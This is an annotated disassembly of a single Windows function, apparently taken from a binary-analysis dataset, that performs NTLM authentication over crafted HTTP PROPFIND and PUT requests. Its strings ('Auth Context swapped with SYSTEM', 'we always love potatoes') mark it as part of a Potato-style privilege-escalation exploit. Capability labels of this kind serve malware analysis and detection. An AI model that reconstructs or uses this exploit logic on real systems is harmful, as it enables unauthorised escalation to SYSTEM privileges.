Function at 0x140001510
Capabilities:
Get outbound credentials handle via credssp
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x8300]
mov eax, 0x8400
call fcn.14001cf10
sub rsp, rax
mov rax, qword [0x14002b008]
xor rax, rsp
mov qword [rbp + 0x82f0], rax
mov r13, qword [0x14002ceb0]
mov r12, rcx
mov ecx, 0x3f40
call fcn.14000d904
mov ecx, 0x3f40
mov r15, rax
call fcn.14000d904
xor ebx, ebx
lea rdx, str.NTLM
mov r14, rax
xor r9d, r9d
lea rax, [rbp - 0x68]
xor ecx, ecx
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 2]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jns 0x1400015ba
mov edx, eax
lea rcx, str.____AcquireCredentialsHandleW_failed_with_error_code_0x_x_n
call fcn.140001010
xor eax, eax
jmp 0x140001ada
lea rax, [rsp + 0x70]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], rax
lea r8, [0x14002671c]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x64], 1
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x50]
lea rax, [rbp - 0x6c]
mov dword [rsp + 0x70], 0x3f40
mov qword [rsp + 0x50], rax
mov r9d, 0x800000
lea rax, [rsp + 0x60]
mov dword [rsp + 0x74], 2
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], ebx
call qword [sym.imp.Secur32.dll_InitializeSecurityContextW]
test eax, eax
jns 0x140001651
mov edx, eax
lea rcx, str.____InitializeSecurityContext_failed_with_error_code_0x_x_n
call fcn.140001010
xor eax, eax
jmp 0x140001ada
add eax, 0xfff6fced
cmp eax, 1
ja 0x140001693
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call qword [sym.imp.Secur32.dll_CompleteAuthToken]
mov ebx, eax
test eax, eax
jns 0x140001693
mov ecx, 2
call fcn.140008058
mov rcx, rax
lea rdx, str.complete_failed:_0x_08x_n
mov r8d, ebx
call fcn.1400012a0
xor eax, eax
jmp 0x140001ada
movzx eax, word [0x140026ae0]
movups xmm0, xmmword [str.PROPFIND__s_HTTP_1.1_r_nHost:__s_r_n_r_n]
mov word [rbp - 8], ax
movups xmm1, xmmword [0x140026ad0]
movzx eax, byte [0x140026ae2]
mov qword [rsp + 0x8438], rsi
mov esi, dword [rsp + 0x70]
mov qword [rsp + 0x8440], rdi
mov rdi, qword [0x14002ceb8]
mov byte [rbp - 6], al
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x3f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xorps xmm0, xmm0
lea rcx, [rbp + 0x70]
mov rbx, rax
xor edx, edx
xor eax, eax
mov r8d, 0x400
mov dword [rbp - 0x30], eax
movups xmmword [rbp - 0x40], xmm0
call fcn.140005910
mov r8d, socket
lea rcx, [rbp - 0x40]
mov rdx, rdi
call fcn.14000d854
mov r8d, 0x400
lea rcx, [rbp + 0x70]
mov rdx, r13
call fcn.14000d854
lea r9, [rbp - 0x40]
mov rcx, rbx
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x28]
call fcn.1400012f0
xor r9d, r9d
mov dword [rbp - 0x70], eax
mov r8d, eax
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x470]
mov r8d, 0x3f40
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
lea r8, [rbp - 0x70]
mov qword [rsp + 0x20], r13
mov edx, esi
mov rcx, r14
call fcn.140001b30
mov r8d, dword [rbp - 0x70]
xor r9d, r9d
mov rdx, rax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x470]
mov r8d, 0x3f40
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
mov edx, eax
lea r9, [rbp - 0x70]
lea r8, [rbp + 0x43b0]
lea rcx, [rbp + 0x470]
call fcn.140001d50
cmp byte [rbp + 0x43b8], 2
mov rsi, qword [rsp + 0x8438]
jne 0x140001ac4
mov rax, qword [rbp + 0x43d0]
mov edx, 0xffffffff
mov rcx, qword [0x14002cea0]
mov qword [0x14002ce98], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [0x14002ce90]
lea rcx, str.___HTTP_Client_Auth_Context_swapped_with_SYSTEM__n
mov qword [rbp + 0x43d0], rax
call fcn.140001010
xor ecx, ecx
mov dword [rsp + 0x74], 1
lea rax, [rsp + 0x60]
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], rax
lea r8, [0x14002671c]
lea rax, [rbp - 0x80]
mov dword [rbp - 0x40], ecx
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x60]
mov eax, dword [rbp - 0x70]
mov r9d, 0x800000
mov dword [rbp - 0x80], eax
lea rax, [rbp + 0x43b0]
mov qword [rbp - 0x78], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x40]
mov dword [rsp + 0x38], ecx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], ecx
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x60], 0x3f40
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x68], r14
mov dword [rbp - 0x3c], 1
mov dword [rbp - 0x7c], 2
call qword [sym.imp.Secur32.dll_InitializeSecurityContextW]
test eax, eax
jns 0x1400018e7
mov edx, eax
lea rcx, str.____InitializeSecurityContext_failed_with_error_code_0x_x_n
call fcn.140001010
jmp 0x140001b1e
add eax, 0xfff6fced
cmp eax, 1
ja 0x14000190a
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x60]
call qword [sym.imp.Secur32.dll_CompleteAuthToken]
mov ebx, eax
test eax, eax
js 0x140001b02
mov rcx, qword [0x14002ce80]
mov ebx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [0x14002ce88]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r8, [rbp - 0x70]
mov qword [rsp + 0x20], r13
mov edx, ebx
mov rcx, r14
call fcn.140001b30
mov r8d, dword [rbp - 0x70]
xor r9d, r9d
mov rdx, rax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x470]
mov r8d, 0x3f40
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
movaps xmm0, xmmword [str.PUT__s_HTTP_1.1_r_nHost:__s_r_nContent_Length:_23_r_nConnection:_Keep_Alive_r_n_r_nwe_always_love_potatoes]
movaps xmm1, xmmword [0x140026b70]
movzx eax, byte [0x140026bc0]
mov rbx, qword [0x14002ceb8]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x140026b80]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x140026b90]
movaps xmmword [rbp + 0x20], xmm0
movaps xmm0, xmmword [0x140026ba0]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm1, xmmword [0x140026bb0]
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x50], xmm1
mov byte [rbp + 0x60], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x3f40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xorps xmm0, xmm0
lea rcx, [rbp + 0x70]
mov rdi, rax
xor edx, edx
xor eax, eax
mov r8d, 0x400
mov dword [rbp - 0x30], eax
movups xmmword [rbp - 0x40], xmm0
call fcn.140005910
mov r8d, socket
lea rcx, [rbp - 0x40]
mov rdx, rbx
call fcn.14000d854
mov r8d, 0x400
lea rcx, [rbp + 0x70]
mov rdx, r13
call fcn.14000d854
lea r9, [rbp - 0x40]
mov rcx, rdi
lea r8, [rbp + 0x70]
lea rdx, [rbp]
call fcn.1400012f0
mov r8d, eax
mov dword [rbp - 0x70], eax
mov rdx, rdi
lea rcx, str._s__d_n
call fcn.140001010
mov r8d, dword [rbp - 0x70]
xor r9d, r9d
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
lea rdx, [rbp + 0x470]
mov r8d, 0x3f40
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
cmp byte [rbp + 0x479], 0x32
jne 0x140001a94
cmp byte [rbp + 0x47a], 0x30
jne 0x140001a94
cmp byte [rbp + 0x47b], 0x31
lea rcx, str.___File_write_succeeded__n
je 0x140001a9b
lea rcx, str.____File_creation_Failed__n
call fcn.140001010
mov rcx, r15
call fcn.14000d8f0
mov rcx, r14
call fcn.14000d8f0
test rdi, rdi
je 0x140001abd
mov rcx, rdi
call fcn.14000d8f0
mov eax, 1
jmp 0x140001ad2
lea rcx, str.____Authentication_over_HTTP_is_not_using_NTLM._Exiting..._n
call fcn.140001010
xor eax, eax
mov rdi, qword [rsp + 0x8440]
mov rcx, qword [rbp + 0x82f0]
xor rcx, rsp
call fcn.140004020
mov rbx, qword [rsp + 0x8448]
add rsp, 0x8400
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 2
call fcn.140008058
mov rcx, rax
lea rdx, str.complete_failed:_0x_08x_n
mov r8d, ebx
call fcn.1400012a0
mov ecx, 0xffffffff
call fcn.14000d508
int3